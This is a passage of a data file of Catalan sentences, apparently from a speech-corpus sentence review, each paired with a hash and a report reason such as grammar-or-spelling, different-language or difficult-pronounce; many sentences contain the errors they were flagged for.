d'Aragó. 08ce3b7e989e3aef67c83380f6b5969c81d2b5d32e2169d696b166902d041cf3 ca grammar-or-spelling L'idealisme el va conduir a l'anarquisme filosòfic i la seva família el va rebutjar. 0921f36d661d705df6399687ed1af4e8261ed42509d9254d4c6c4616d91ee935 ca grammar-or-spelling Como la majoria de les convencions de còmic, el Fan Expo de Canadà té un gran espai per els expositors. 090056b15ee322afc033b4b6610d9137adbf12b7736c78bb51feee7bc3865830 ca grammar-or-spelling Es va renunciar a Mason fora de temporada. 0950e9d9c45e186d4c989dfc336b41de571fe4a7d2a2daab1ede1e31873f8f46 ca difficult-pronounce També treballa com a analista polític i comentarista a televisió, ràdio i premsa escrita. 0957ed89bbfb7270a373ab824447687c45a273ff5bfc65fea49f4a9a20624c4f ca Diu que el volum és massa baix tota l estona Els frens elèctrics no són adients per a bloquejar les rodes. 0973b838fd87700b443dd89176456d734cc808e5ecc9f612a9ef868364097ab1 ca difficult-pronounce Els frens elèctrics no són adients per a bloquejar les rodes. 0973b838fd87700b443dd89176456d734cc808e5ecc9f612a9ef868364097ab1 ca different-language Els frens elèctrics no són adients per a bloquejar les rodes. 0973b838fd87700b443dd89176456d734cc808e5ecc9f612a9ef868364097ab1 ca grammar-or-spelling Els frens elèctrics no són adients per a bloquejar les rodes. 0973b838fd87700b443dd89176456d734cc808e5ecc9f612a9ef868364097ab1 ca offensive-language Mentrestant, la conferència va establer l'efímer govern provisional de tota Rússia. 095276f4f09dff91378527c8a36e13a3e0d753432e8e923fed581909dd96d157 ca grammar-or-spelling Ella us ha estava esperant. 0abbbaa7cf89b394cbe39f4de2cb2ae5cc3a721d886ce4132ec16dd4f23a0517 ca grammar-or-spelling Eres un friqui? 0b116f8fffda595380ade259d4fa3de34ecbb035576d8f4e3b9ed9d255866033 ca different-language En canvi, la ferida principal de Lerner era una inflor freu a les mans. 0bac93791dcc722faaf599f6d746300bf23c5e3afea798cd5abb404aa8827041 ca grammar-or-spelling La comunitat Chemawawin Cree Nation és adjacent a la comunitat de Cedar Lake. 0bba5139651f2976aefe8a8c6ac932f92e07d2163682fa2295176a575ad03ce9 ca Estic fart d'aquesta invasió anglofonica. Està activo en l'escena de la poesia, la música, l'art i el jazz lliure. 0d24dcf16648ac8c6b1c5e14ead0be44ee69c17dad7d3bc8312601971b3fcc7c ca different-language Interpreta una de les personatges principals a "El cavall i el noi". 0d331a3424126caca0e687d79d26994e33192f9abbaa50205869aa332899f20b ca grammar-or-spelling La Gran Depressió va impactar la economia de Tatum, fet que fa provocar que molts emigressin a zones urbanes. 0daf9bcd0b4f5dfc7a5279c113eb8d9422d0201d397a91f5fc20509eafcdfb48 ca grammar-or-spelling El districte estava decidit a donar la vota a la situació. 0dae88a69c4ecd1e94bcc094ace83e69f1d066d299981ec255ceadb4e7ba9d1f ca grammar-or-spelling Observació: Hi ha haver molts aplaudiments. 0cda10693c672c14bc15246e4604e71b0d84232faad72107d26a13d6aa10c802 ca grammar-or-spelling Afirmava que l'aigua processava el feia sentir millor. 0e94736ee928a90df444ccb4fbcad419a253a8f1668d81f26fa9fb910c8d0167 ca grammar-or-spelling El municipi de Newville es trobar parcialment a la frontera oest. 0fb8e4f4b009cbd445db933ba9703f9f4ab935918a182c197a56cb3a38f9c1b7 ca grammar-or-spelling Semblava que estava bé, però estava massa dèbil per continuar la lluitat. 10416edb4d9620bdcb8d5329aeacc2f5f1651c69bbd2ed8d5a25770a8702dd6a ca grammar-or-spelling El Michael i la Kay recorre Sicília junts i durant el viatge el Michael demana perdó a la Kay. 10b8e7bfb0592ded04babb28510baede65a35a60c63e8fd399354d63a2dcf5d1 ca grammar-or-spelling una dona amb un vestit porpra, ulleres de sol una motxilla blava es pentina 109321aac00523d331ceeb832641efb6a1dc2c9f63571b82b06769e98399e750 ca grammar-or-spelling El combustible es consumeix en funció del temps que es prem la teca d'acceleració. 10d2adb925b964315dce93d1f6b774d59d59ec77b3d01653f8fd1b606c54b887 ca grammar-or-spelling Diversos creus altes es troben a la illa de Iona. 113a5d7ae51893685759d5f3604a04abbe3d586b76aa564035970e75e81bcaf5 ca grammar-or-spelling Martel i Roberts van capitanejar equips oposats a la Survivor Series. 11a2b49048625238e26e6d5c4538369c426132e66929467c1ecfeef99aaac284 ca different-language "A Matter of Degrees" està en cartellera als cinemes Harkins? 11b2ccaed6ddb57fdefec38376e6e2e7dcdf082280c6d90d459c35d9fbd3d29b ca different-language Hermann era fill de Hermann I de Baden i Judit de Backnang-Sulichgau. 11a991f78d9cb99466de2f3b7f2f7e76e8fbfad5c4457361a3bf98443266234d ca different-language També s'ha descrit a les espècies Leggada bella, Praomys jacksoni i Thamnomys surdaster. 10b034b05f67af4b92d33edc872aa2bf0b40da681e58fee016b311f3c47d7945 ca different-language L'antic nom de Lakewood és Danaw Likowai, i Tubod és Obod. 12155b8a9ccfc54c7af68da020a4ba958bdf088adbb386969b1bc844df4621d1 ca different-language Caan va aparèixer en la trilogia de llargmetratges "Ocean's Eleven", "Ocean's Twelve", i "Ocean's tretze". 11f8dc2066e45155f490cbcecc59a61e4c6cf2ec2d6c7c3683d2c555ea53a419 ca grammar-or-spelling Secker va viure en Bridgefoot House, Iver, Buckinghamshire. 11fc18e2743e6903d62c48a9903bc3d81d2a67123a20af534d7223ed7059a919 ca different-language El Dunipace Juniors Football Club és un club de futbol escocès amb seu a Denny, Stirlingshire. 116f4f8c90b1599ccf294fab393fdc73edf5b665f76f51eac6f0e73dedbb909f ca different-language Chabbewal també ha estat el bressol de molts soldats que ha servit les forces armades de l'Índia. 11e168a0cbae315af66b06b32da03060f1374fd57b7a1bd20c1b12442006ff60 ca grammar-or-spelling En els temps del baix imperi, aquest llei no tenia gaire importància. 10af1b5480a641c59951014bb1ad12465de65e0f0ab54cd680d2ee839583b78d ca grammar-or-spelling Els senderistes a Lake Hazen, que es troben a al nord-est, comencen a partir de Tanquary Camp. 123d1b949fb0a437607ab34db5409c1fd628cf7567ea3781d2af5f17c1fa11fe ca grammar-or-spelling A mesura que es refredat la lava, la contracció s'ha produït. 1164ae1592ffbf76e22cd2d152312f743836fd951f946eb5f038ae7e34c72ac1 ca grammar-or-spelling També apareixen en el senzill de Monica "Everytime tha Beat Drop". 121f21f3a69cbe44b4d5babad800b9a1d12f1c81eae40d303480c1917a797c77 ca grammar-or-spelling A mesura que es refredat la lava, la contracció s'ha produït. 1164ae1592ffbf76e22cd2d152312f743836fd951f946eb5f038ae7e34c72ac1 ca grammar-or-spelling Estic llegint una història de detectives fascinant. 13036948bcc09e8c5e349792413861c66ca49adc3322981df6da2b42b9b93a24 ca grammar-or-spelling Maria a l'est de la carretera lateral d'Allen i al sud de la Segona Línia. 11caa8f01bce7591703ee3b8d51c8e6099e24b94afea78f906ca3c5816482027 ca grammar-or-spelling Es van conduir els cavalls del vaixell sobre Harecastle Hill a través de "Boathorse Road". 1347d4b010d7986e54c69f6e5eefeefe97072b681c8aebebc04eeafed3ac3291 ca different-language Celia va sentir que algú va caure a una cadira. 130fcabf29c85c1ce944ea4aa68287a6d3b2a1f9f58ff5dde23f847a49ef24e9 ca grammar-or-spelling Longtan solia ser era municipi rural de l'antic comtat de Taoyuan. 1316eba731f54f66ab2ed3697b16c5e769de5804affa4d0d4ef494eee7f8e643 ca grammar-or-spelling La majoria de muscadets haurien de beure"s als tres anys posteriors a la producció. 13565d59e0aabd8052051fdb5b843b807e8a7d41f2c1deb214b7f0051ec9b491 ca grammar-or-spelling Vaig treballar duro en això! 12e9a76b068c5d26261516c9f45a199922cc17f94e09ca6ab9d64efb07582ce4 ca grammar-or-spelling El primer Marquess va ser primer ministre de Gran Bretanya. 135e9adee90b830170b61abe3684600a7fa55ac3af08fb17f19613fec60cabe5 ca grammar-or-spelling El moment van passar mentre afrontava les seves pors. 12b5cd93b708c5998e1d046b5df4f693118b63329538ffa6194872259a5f9065 ca grammar-or-spelling Paul, així com "Minnesota Channel" en els canals digitals de Prairie Public per tot Dakota de el Nord. 135be3fdd6f5a8233ce26401f35f3aeb2e3b93d6a979feaa2a55339e2a0af13e ca grammar-or-spelling Les noves ajudes van ser creades llavors per la Bristol Society of Merchant Ventures. 13be4f76ec52e631dedd9fc78c3ee29c5c14c441dc66eca01464104fefac4535 ca different-language La paraula de l'anglès britànic "rubber", que significa goma d'esborrar, és l'equivalent de "pencil eraser" a l'anglès americà. 13ada769e550523243e3be8eb8fe6eddc4c649b48eefe6d9bb0e41bb662beb5d ca different-language Aleshores va protagonitzar la comèdia televisiva "That's My Mama". 13bbaedbbd6331066b544f410a78e7de5f34e045d163dd1b20204f31c85cc651 ca different-language No he res d'aquesta mena. 13da4bf4a3daede6aec0247a212466c73ad9b0a97a0bb07a5d37de571d9d9c3b ca grammar-or-spelling Vaig treballar duro en això! 12e9a76b068c5d26261516c9f45a199922cc17f94e09ca6ab9d64efb07582ce4 ca grammar-or-spelling Els Toyota Shokki juguen els seus partits a casa de la Top League al Mizuho Rugby Stadium de Nagoya. 13dc32fa99371581c706a9df16edc5721600a62dd3515e0a587980b4c556d3d6 ca different-language Es van conduir els cavalls del vaixell sobre Harecastle Hill a través de "Boathorse Road". 1347d4b010d7986e54c69f6e5eefeefe97072b681c8aebebc04eeafed3ac3291 ca different-language El van enterrar al cementiri Forest Lawn Cypress Cemetery, a Cypress, Califòrnia. 1388bbd4b50dd6b554163e8df969a4f91005c3dd2c67897ccdaec9fbb365e07c ca different-language Després d'això, instal·lat a Imajo, província d'Ekizen, va donar suport a Kobayakawa Hideaki i Horio Yoshiharu. 132fdf6ec26ce972bb1e2926cade592b74c0801ba1d5bd605925724015d99882 ca different-language El seu primer espectacle "When Radio Was!" 139b506ab942e974e1e2e93c71e99b982e62bda0c0b4b77a67a98023aaa06cda ca different-language Dec tenir Saint Louis, després Huzza! 13bbf061c77eb8c0798c25e1aa3cb966e8fbdb93263f9807eb4aa5c5770d88c1 ca No té sentit. Russell Edward Brand va néixer a l'Orsett Hospital de Grays, Essex, Anglaterra. 13bf0a79200b2a2e2c019124cafa1bb625bef9c39ec22b5241ab39ed3f70c45c ca different-language Forma part de l'"Ortsbezirk Nord-Ost". 1400cee1d2c08e52d0511e4d9416f97040f9bcb5fc37e513521cebb075b12ef0 ca grammar-or-spelling No he res d'aquesta mena. 13da4bf4a3daede6aec0247a212466c73ad9b0a97a0bb07a5d37de571d9d9c3b ca grammar-or-spelling Descriu a Pera negant a Jesús després que el detinguessin. 1401f21a9bdeba6ac36e6b771bac99c5a93a1776c909e02193a5a3c41ccbabfe ca grammar-or-spelling Un nen petit en una llar muntat a un cotxe empenta dissenyat com un cotxe de policia. 13f7bd8a9761e76a617db4d4e6130270024e21db5c9bcdc85a9907c2f37f718f ca grammar-or-spelling Hi ha molts altes palios que se celebren a diverses regions d'Itàlia. 13fa11ce463d4e5373bd09433ea78b0bf3ea371d238df995be539365d4d5b1b6 ca grammar-or-spelling Els delegacions que representen els membres es reuneixen tots els anys a París, França. 13d96f68122e993cc608de80aee758db163fc257660463d35ef1a7c9d4ab57b8 ca grammar-or-spelling Un home amb un abric blanc està parla per telèfon. 12de76ba88370fcea5c667b23690f6f5a37499c9f602d051e5056f62427c3c33 ca grammar-or-spelling Vull reservar una "churrascaria" amb molt bones opinions d'aquí a de deu mesos. 1434ee1ba85661b0673d5f7277b4c6309a9c3a8bfab35f3eee15c78078e0cca2 ca grammar-or-spelling L'Abergavenny els dijous Football Club va ser un equip de Futbol gal·lès amb seu a Abergavenny, Monmouthshire. 1470def7d7d8ed54b666a9e9cf170d9054abe4eb47c9f24d4df7976adb73655f ca grammar-or-spelling Un home amb un abric blanc està parla per telèfon. 12de76ba88370fcea5c667b23690f6f5a37499c9f602d051e5056f62427c3c33 ca grammar-or-spelling Un nen petit en una llar muntat a un cotxe empenta dissenyat com un cotxe de policia. 13f7bd8a9761e76a617db4d4e6130270024e21db5c9bcdc85a9907c2f37f718f ca grammar-or-spelling Captura un moment en què un pastor triga fa petons a una dona. 145c7196b96a6f69ac434ca81cde15f9f2b9d25cf9021b7cee8f8181d8c179bf ca grammar-or-spelling "Ultimate Spider-Man" va ses la primera sèrie publicada per la línia Ultimate Marvel. 136ce8aade35abc77561b13e5c98708f047e6906c5314595df8e3c5662b55f8e ca different-language L'Airbats es diu "Blue Impulse". 148be8627b51ad5aca579da8d6e0c3960f812237af8d672024289275a9a7d251 ca different-language Va aparèixer en el drama televisiu de curta durada "The Black Donnellys". 143510cd882798997967f961751aa8672dc9cd25ba74e1fe94480f1b7f5c3aad ca different-language Puc veure Blood Orgy of the Leather Girls en un cinema. 142be97970fdb333b35ea4bfe47fa161341cb98476b94c2e732a43f117f26f67 ca different-language La versió de Bryan Ferry de la cançó Are You Lonesome Tonight? 140d08a513927742c21c21d1e2f946ba19d3013dec883b13d537c131baa6fb81 ca different-language Es va anunciar la troballa a la premsa durant la segons setmana de la investigació. 140b98f79a36c4e7818574eef144baeba52f0593e51bffe881b50dc97bfe1522 ca grammar-or-spelling "The Peru Report's Guide to Top People in Peru". 1506d7210fe3564808743b30ad912d85580a638032c8d2aefec2090a585f2d74 ca different-language "Ultimate Spider-Man" va ses la primera sèrie publicada per la línia Ultimate Marvel. 136ce8aade35abc77561b13e5c98708f047e6906c5314595df8e3c5662b55f8e ca grammar-or-spelling Bowra el va considerar un "poema estrany e incòmode". 13b5b7592fa5808210440fb516050af8460e0b3b397601ce426e97a8580b06fd ca grammar-or-spelling Johnson va amenaçar de disparar amb Duffy si corria per l'oficina. 14dc09068d3778c510cee98f42de72cd6185e3bafbdeafb824513d7cabbcccf3 ca grammar-or-spelling Guadalajara i va lluitar per un lloc a la Copa Libertadores. 13292ba0c493437514a53e0f7283d37704fed1c9755a74962bcc19d5e3327ded ca grammar-or-spelling Mol és una destinació de vacances popular, amb una gran nombre de llacs envoltats de bosc. 155b4afe31a6662ca7e210ac6ae0c6a675b7acd2db28576a0a661d77e71e28d5 ca grammar-or-spelling Junt amb la seva amiga Jeanne Kosnick-Kloss havia planejat crear dos carreteres d'escultures. 14d938f9ffe764eecfd27ded75c55f4c90e50c28299087e5299c64d5c516ae8b ca grammar-or-spelling El principi de la pel·lícula conté un anunci de promociona la venda de nines Eve. 13ede93419166a44b03cb2b269d79374b3c628d0a7b13afc40e8e69461c89f3a ca grammar-or-spelling Vaig treballar duro en això! 12e9a76b068c5d26261516c9f45a199922cc17f94e09ca6ab9d64efb07582ce4 ca grammar-or-spelling Mol és una destinació de vacances popular, amb una gran nombre de llacs envoltats de bosc. 155b4afe31a6662ca7e210ac6ae0c6a675b7acd2db28576a0a661d77e71e28d5 ca grammar-or-spelling "Ultimate Spider-Man" va ses la primera sèrie publicada per la línia Ultimate Marvel. 136ce8aade35abc77561b13e5c98708f047e6906c5314595df8e3c5662b55f8e ca grammar-or-spelling "The Peru Report's Guide to Top People in Peru". 1506d7210fe3564808743b30ad912d85580a638032c8d2aefec2090a585f2d74 ca different-language El coronel Benton va viure a Stoney Hill Farm, al comat de Darlington a prop de Mechanicsville. 14ec4a13cbd96cc57986e2c1de377780037389fb91dbe1c5caa84cc4828b2a22 ca grammar-or-spelling Un manipulador de soldadura pot per d"arc obert o per arc submergit. 15e725262f12af400f98ebcecb1498235833f52234218aec3e56825bb68719c6 ca grammar-or-spelling El van enterrar al cementiri Forest Lawn Cypress Cemetery, a Cypress, Califòrnia. 1388bbd4b50dd6b554163e8df969a4f91005c3dd2c67897ccdaec9fbb365e07c ca grammar-or-spelling Un manipulador de soldadura pot per d"arc obert o per arc submergit. 15e725262f12af400f98ebcecb1498235833f52234218aec3e56825bb68719c6 ca grammar-or-spelling S'ha atribuït al fluix d'aigua dolça baixant de l'estuari. 14aa543ef6bba4435888aae69129ac0269c92284ce57140d809b542de0b5b4f9 ca grammar-or-spelling PaperClip no treballa amb l'opció de text per mostrar text a la pantalla, fet que la revista Ahoy! 1618ffde579d4aa9f0084d92a2fd85fb61d02ae7e9f35006de9d7148047d86d4 ca grammar-or-spelling "Honolulu" també té un premis anuals de menjador anomenats els premis Hale Aina. 150c1f4c8392b9963cd1f3453dcabe69d8a675d725ebdf22be1fbf40323ee534 ca grammar-or-spelling PaperClip no treballa amb l'opció de text per mostrar text a la pantalla, fet que la revista Ahoy! 1618ffde579d4aa9f0084d92a2fd85fb61d02ae7e9f35006de9d7148047d86d4 ca La frase no te sentit Com saps que ella no ho va fer? 15bb2ebf8d0d0a7970e7dd7476c2a5a301ad7ac530511420d49fc06cbfe64d97 ca grammar-or-spelling Als mandirs de Swaminarayan, l'aarti que es canta és "Jay Sadguru Swami". 1639d7c515b3229854c4d580e682ba11dcc71aa4c9969f0bfe9c20891cfda3e9 ca grammar-or-spelling Són ocells d'ales amples que colen amb el coll i les potes estesos. 15fd8f0ea4775b83ddd54e1919ac0eaffbdf2b162cce4dcd267ce79ec2afee4b ca grammar-or-spelling Dos jugadors de voleibol femení veure la pilota 1677a3b4254d3ca6939e5afa80b8a8ac90761a517ff974aba82bd7a26f143ef2 ca grammar-or-spelling Sturrock va fer incorporat al Sport Australia Hall of Fame. 1737f375a04cd0c27df364ef095e12a45df954f405b6445fb280569602be0582 ca grammar-or-spelling Els qui presencien la mort de Joan són afligida amb el remordiment. 174093834da57e8c227ed1374c371afea0489843284fe93be1673605535d0c7b ca grammar-or-spelling Característiques d'estalvi de pes inclouen panells de fibra de carboni cos, resistent a les finestres de policarbonat resistents. 1712bf68f1df76bb9a810255e76a0dafa21084dae2c2dee921973841b788d37b ca grammar-or-spelling Una mètode d'elusió evident consisteix simplement a apuntar el làser més a prop de l'objectiu. 177ea250e851a46aaa8929d1d2d8f777cbeacfe095661f93a958c4f6f31e6cbc ca grammar-or-spelling Va assentar el so de The Slackers, en el qual es continuar predominant l'ska, el reggae i el dub. 16dc0d0da1768c387b1e5972d1a87aa4234669d97d8e8b7bf4b20fd6c751c845 ca grammar-or-spelling Sturrock va fer incorporat al Sport Australia Hall of Fame. 1737f375a04cd0c27df364ef095e12a45df954f405b6445fb280569602be0582 ca grammar-or-spelling PaperClip no treballa amb l'opció de text per mostrar text a la pantalla, fet que la revista Ahoy! 1618ffde579d4aa9f0084d92a2fd85fb61d02ae7e9f35006de9d7148047d86d4 ca grammar-or-spelling Es pot considerar que algunes soques de "L. acidophilus" tenen característiques probiòtics. 18032b1b2ea87eba89302e9dfb2689b9788c6674eb284fc727095281370a1d98 ca grammar-or-spelling Es pot accedir a la glacera a través de la important ciutat bàltia d'Skardu. 181e46bb3369c2ad6f6c16ca1bbb7cbb71add16b17cb2687705ed7a4c15b7f01 ca grammar-or-spelling Es pot considerar que algunes soques de "L. acidophilus" tenen característiques probiòtics. 18032b1b2ea87eba89302e9dfb2689b9788c6674eb284fc727095281370a1d98 ca grammar-or-spelling El seu tractar sobre el codi uniformat de comerç dels Estats Units, escrit conjuntament amb el professor James J. 176adad622e5863fb77764ad2fdccd0c60bab5c4ae2e549d1b0633f6f7207410 ca grammar-or-spelling Els Estats Units es van oferir la seva ajuda per al programa nuclear francès. 17e40206bbd06644e96df45a2676b52bdfd0fad84f8b5dd2cc6cd07cf254694c ca grammar-or-spelling La seva anatomia òssia les permet ser nedadors ràpids. 184a5a6965aaa85a038426b8e494151f1c2ae229b4857055c8ad15a554f3f79c ca grammar-or-spelling La història es va fer més tard en un curt d'animació, "The Sweater", narrar per transportista. 18c024e72cc2940229cbfea814413eb87d277caa0ae338b836221d1ba3278b60 ca grammar-or-spelling Tant l'imperi Sui com el Tang van ocupa la mateixa ubicació. 194b4408718fa4092b6ef9f0534762452853f88dc5b9e1130843bb70f2eb8283 ca grammar-or-spelling Des de l"època dels romans, els gansos blancs han estat molt apreciats. 18b80e0756cd80f124e1955f1f5d85109a6c2fa45d569c7e55082d52b1a9bda9 ca grammar-or-spelling La comunitat de Dry Creek es troba a poca distància a sud. 194747805aadc1b2c2cc928a886816219bce26d11c2cefa8d21fdd6d9250a5c9 ca grammar-or-spelling La història es va fer més tard en un curt d'animació, "The Sweater", narrar per transportista. 18c024e72cc2940229cbfea814413eb87d277caa0ae338b836221d1ba3278b60 ca grammar-or-spelling Les bigues segellades inicialment es va introduir per al servei de fars de vehicles de carretera i des de llavors el seu ús s'ha aplicat a altres efectes. 19baa655f9c7ae43989b4d55f8e09ebbcc4720ff67dd9cdf24984b33ea800f8b ca grammar-or-spelling Du Bois i es va presentar als membres fundadors del Moviment Niagara. 19cbf409859c6939481acf88cd984729e22311528b2b776461f2e2cb5204716b ca grammar-or-spelling "Discovery" estava sobre l'oceà Pacífic i "Mir" era sobre el sud dels Estats Units. 1a79bd13084f0b9d07d0bfbf95ee25e5334622d2e2a29d9986db9fdaa5d72b1d ca grammar-or-spelling No, no serem aquí dema; però demà passat a la nit, sí. 1acb4e76acb71416fe5a48ec9cf201a26669f2a557a07f81379c4522da51c95d ca grammar-or-spelling El té és una combinació entre té verd no oxidat i té negre post-fermentat. 1a425154777f5ae0a54f7b51e8f6e7630fe11b9f824da8b1ffe05d8556b24539 ca grammar-or-spelling El "South Dakota" va assolir una velocitat de en les proves. 1aeb4d76d34f4214a6df5a204f4c54656eac163796a15d040e0caffbfba2742c ca grammar-or-spelling Cerca l'obra creativa Brilliant! Tragic! 1bb98ebdabdd5a6a7387ddaeb8109f238c73ceddd0a029932c6120d1b1fc64d8 ca grammar-or-spelling El va escriure Dan Shiovitz ai es va inspirar per l'infobot de Perl, Purl. 1be71f73c59fa490c711b77ccd82e856cc47e7fcca88c13551001a03049a07e6 ca grammar-or-spelling El té és una combinació entre té verd no oxidat i té negre post-fermentat. 1a425154777f5ae0a54f7b51e8f6e7630fe11b9f824da8b1ffe05d8556b24539 ca grammar-or-spelling No obstant això, tot es va oblidar aviat i es desaparèixer sota la catifa. 1b8394e3d205bbc99f576c7baeaab00a7273ecfe924221a6ea05d1038ce5d07e ca grammar-or-spelling Moltes persones són presenta a la cursa de bicicletes, inclòs un home amb un tricicle. 1ce854a3cf1d4a0b1fb32ca2b1ac2ade5be16c7977164e5e3333629690ec9735 ca grammar-or-spelling Quan a carretera de Manchester travessa l'avinguda Vandeventer, l'autovia es converteix en l'avinguda de Chouteau. 1d3c2ffb20489a73e14a7b01fa5b003f4641d2ac26686049777e98c6fd57b2c0 ca grammar-or-spelling Ell era membre fundador del Partir de Bòsnia i Herzegovina. 1e17e2401f8b5c1dfcc24aa4db86d2b8d8d846df0b35afbb09d9377ebfac2dbc ca grammar-or-spelling Els pèptids es generen principalment el proteasoma al citosol. 1e1d8763e455845db00d43e72805551ed1b274c3e5b086033184911d3733e172 ca grammar-or-spelling Després dels Jocs Olímpics es van conservar el nom més curt. 1e8671083ac03f9af219d5679ec13727ac55dd5c43275a0e80a85f384778bb13 ca grammar-or-spelling Una parella abraça enfront d'un pilar grafitejat mentre un home fa una foto. 1e526731b9523087ba6dbb59dc3820926f71e003b71156117dcc4cb2f565fae4 ca grammar-or-spelling Quan a carretera de Manchester travessa l'avinguda Vandeventer, l'autovia es converteix en l'avinguda de Chouteau. 1d3c2ffb20489a73e14a7b01fa5b003f4641d2ac26686049777e98c6fd57b2c0 ca grammar-or-spelling i Bessie G. McGhee House, Person-McGhee Farm, Dr. J. 1f61b7330b29e4b7a04cb932e6b80e6b23abb0db6351a0c85d00a177b4b3d046 ca difficult-pronounce Tots aquests artefactes esdevenen un objectes excel·lents per a la crítica narrativa. 1f40d5748b1623867250ba119c56a8da2377b8982c5f39d6636071a9a814a746 ca grammar-or-spelling John Farnham va interpretar Downhearted en directa a la versió australiana de Dancing With the Stars. 1fa70464eb171d95adf41f752177a36d40b06460085472cd8db09ce03a036a8b ca grammar-or-spelling John Farnham va interpretar Downhearted en directa a la versió australiana de Dancing With the Stars. 1fa70464eb171d95adf41f752177a36d40b06460085472cd8db09ce03a036a8b ca grammar-or-spelling La recerca demostra que les discogràfiques continuen controlar la major part de l'accés a la distribució. 20627a6c61be88ea900495328e2a3ed76815d78ff18a710bb67a630a6d52c59f ca grammar-or-spelling Tant en tercer com el quart baró van ser Lord cancellers d'Irlanda. 20931de8cc8d9eb00e527a268da1d0aefa5e2b2a57f1c5f500a3159367ae6641 ca grammar-or-spelling El productor Shigeru Miyamoto va participar en l'edició de el joc. 20907ed880d1807635ad7c1d52c061d6734deb4f7ce199e90a9c413b872ad1aa ca grammar-or-spelling Està disponible pertot arreu de la Índia. 2167f68d8e616ef714e0487a9675d8aefc44e3451e95b4c993293c778dacb9d9 ca grammar-or-spelling Sense ells, les implementacions gratuïtes de l'algorisme són impensable. 20de50e3671972761d3c6d6535dc61652fda3f245725aa5913586de934841a83 ca grammar-or-spelling Les estructura que encara existeixen avui dia inclouen l'antic molí de vent i el magatzem d'intendència. 218956c7fb87a593547a0ca9b2b822592e8d5d2a45b7e4316f9edf024380897a ca grammar-or-spelling Durant la següent dècada va entrenar mols còmics populars. 21919797ba3b18557adcc26147dea741f313dac616189d3700d51f7de18dc91c ca grammar-or-spelling Un home mirant a través d'un telescopi com a nen rellotges 2320af544b85fcb5648dc53929bff553ee6c4571add71575b78b0e3a6d2e550e ca grammar-or-spelling Els investigadors de rates van proposar el gens. 232a5516d1a1a15973eaacde24e17d8f473c29767607b92840de6a1f92f0cf23 ca grammar-or-spelling Es pot reenviar un encapçalament a un memòria intermèdia si aquesta memòria intermèdia està inactiva. 23407008cd97c94999cd3def6b8a9ee6e8ae0a8a8af535e9734f5109274d07db ca grammar-or-spelling L'artista fa servir bolígrafs Pantone per crear el seu estil artística únic. 232ceb982f775485b056d17fd788abb9a607dc236e17696a7ca08e9ffad09682 ca grammar-or-spelling Es pot reenviar un encapçalament a un memòria intermèdia si aquesta memòria intermèdia està inactiva. 23407008cd97c94999cd3def6b8a9ee6e8ae0a8a8af535e9734f5109274d07db ca grammar-or-spelling Es pot reenviar un encapçalament a un memòria intermèdia si aquesta memòria intermèdia està inactiva. 23407008cd97c94999cd3def6b8a9ee6e8ae0a8a8af535e9734f5109274d07db ca grammar-or-spelling Les soques no patògenes també estan present en ecologies d'aigua. 22c9441ea48535281e76a5072a37eac244ea89cf513d9f58e6d5b53f7d530f18 ca grammar-or-spelling Va gaudir de ventes enormes fora d'Alemanya. 241af78848dbaa00a73b8f669c3608fafcebb44c226473ce02b925cc7556af86 ca grammar-or-spelling Hass arbres d'alvocat, com alguns cultivars, només pot suportar bé cada any. 23be0a4bc917e28159418156b1f593e6d92e16c7e974eb3daab23bc285c1c3e0 ca difficult-pronounce Totes les lletres de les cançons són deVan Morrison, llevat que s'indiqui el contrari. 24e3ffcac40005a126a3e448b2bb0a758c11d77add45ab7dab80f23cb5059a48 ca grammar-or-spelling Després de l'eradicació del virus de variola específic per a l'home, totes les infeccions d'Ortopoxvirus humanes són zoonosis. 23ef5ddd87d57661e537a62fb18611a4c01f08de68e04e05181b5f6299b43372 ca grammar-or-spelling Va gravar per Decca i altes discogràfiques. 257b78e0fee0f218f3ee56fccda1faafee9f4b5aedeaf38015c2aa6735360876 ca grammar-or-spelling El primer emplaçament de l'Acadèmia de Liverpool del Nord ers l'edifici d'Anfield al carrer Priory. 259fd6396bf7743114ee17ae5ee3ef269ba0ff80809b80bbf33ae2dd209c44d2 ca grammar-or-spelling Els alemanys va dir que la coca-cola era una beguda dels "jueus americans". 2687b0f178a26be619ed2bb029621e2e403669badee66444db839c7d97e54517 ca grammar-or-spelling Ella era reconegut popularment com l"autoritat líder del gènere "Eucalyptus". 26a8104d031b5d3aba497e072162e4688a0bbc1d03248d682e5ffde02433a83e ca grammar-or-spelling La sema mirada o el seu al·lè podia convertir a la gent en pedra o matar-los. 26e7ae1d3a8dd2715b4f77e0165b028cae51bf36904cbef4b3ba2fa457e52f37 ca grammar-or-spelling Marie, Ontario i va viatjar per Agawa Canyon. 26abe766cfed62c777e950bcede124cf26f31de0e9fe896b14826ca3785407d0 ca grammar-or-spelling He de tenir l'estat mental adequat per se productiu. 26109779c516043d4fc8142e2295e434e0497b09b42bbc9187e5e27af980f697 ca grammar-or-spelling Les inversions dels propietaris va portar a una temporada igual de dramàtica. 271e0be5f7ce0a14de6ab03bf1814e333f54582c8e638a53462c09c7538eba61 ca grammar-or-spelling Ara i ha molts edificis històrics a Camp Ripley. 26d110b54ba254c800b063eb6327d2931bdbb371bcbe4797b388ae966232935a ca grammar-or-spelling Ell tocava amb freqüència una de les cançons més popular d'Hendrix en concert. 2727c23ead99d7070689a16b6eeac8ed0d24c864996755da9aa866a33f6f52a7 ca grammar-or-spelling Mai facis una emprimació gris a sota d'un color taronja! 25be6d21e2ac6d7ca3c12d07b63586526a11a17135fbee8a2fbd1a2eadb34745 ca grammar-or-spelling L'adreça estava servo-assistida. 269b76dcc1722bad15d4df9128aa61161771e35c8647ca8fd17af50b38cb874f ca grammar-or-spelling El "Commentario" de Ghiberti inclou la primera autobiografia d'un artistes que hagi arribat als nostres dies. 278da88279f93db7e067646472d0e0938de778dace44460eec8e2ed2b8a12698 ca grammar-or-spelling El primer emplaçament de l'Acadèmia de Liverpool del Nord ers l'edifici d'Anfield al carrer Priory. 259fd6396bf7743114ee17ae5ee3ef269ba0ff80809b80bbf33ae2dd209c44d2 ca grammar-or-spelling Un nen intenta fer una bombolla enorme amb una anell de metall gegant. 282884a9615d847e682b0783025bcbb29f10b05635c5d0ae11d1e78ca6f80899 ca grammar-or-spelling He de tenir l'estat mental adequat per se productiu. 26109779c516043d4fc8142e2295e434e0497b09b42bbc9187e5e27af980f697 ca grammar-or-spelling Claremont té el seu primer estudio de tatuatges personalitzats totalment privat. 288645eb28aeb040de67f32cf6089487cb482e2b81a10fc348189b49806d7db1 ca grammar-or-spelling Diversos teòrics van atacar ell problema, incloent Vicentino. 28acca6f948951f9e91cd895736803b2e5a34e9968c24549975b3ea5d9575708 ca grammar-or-spelling La pel·lícula acabada resultar 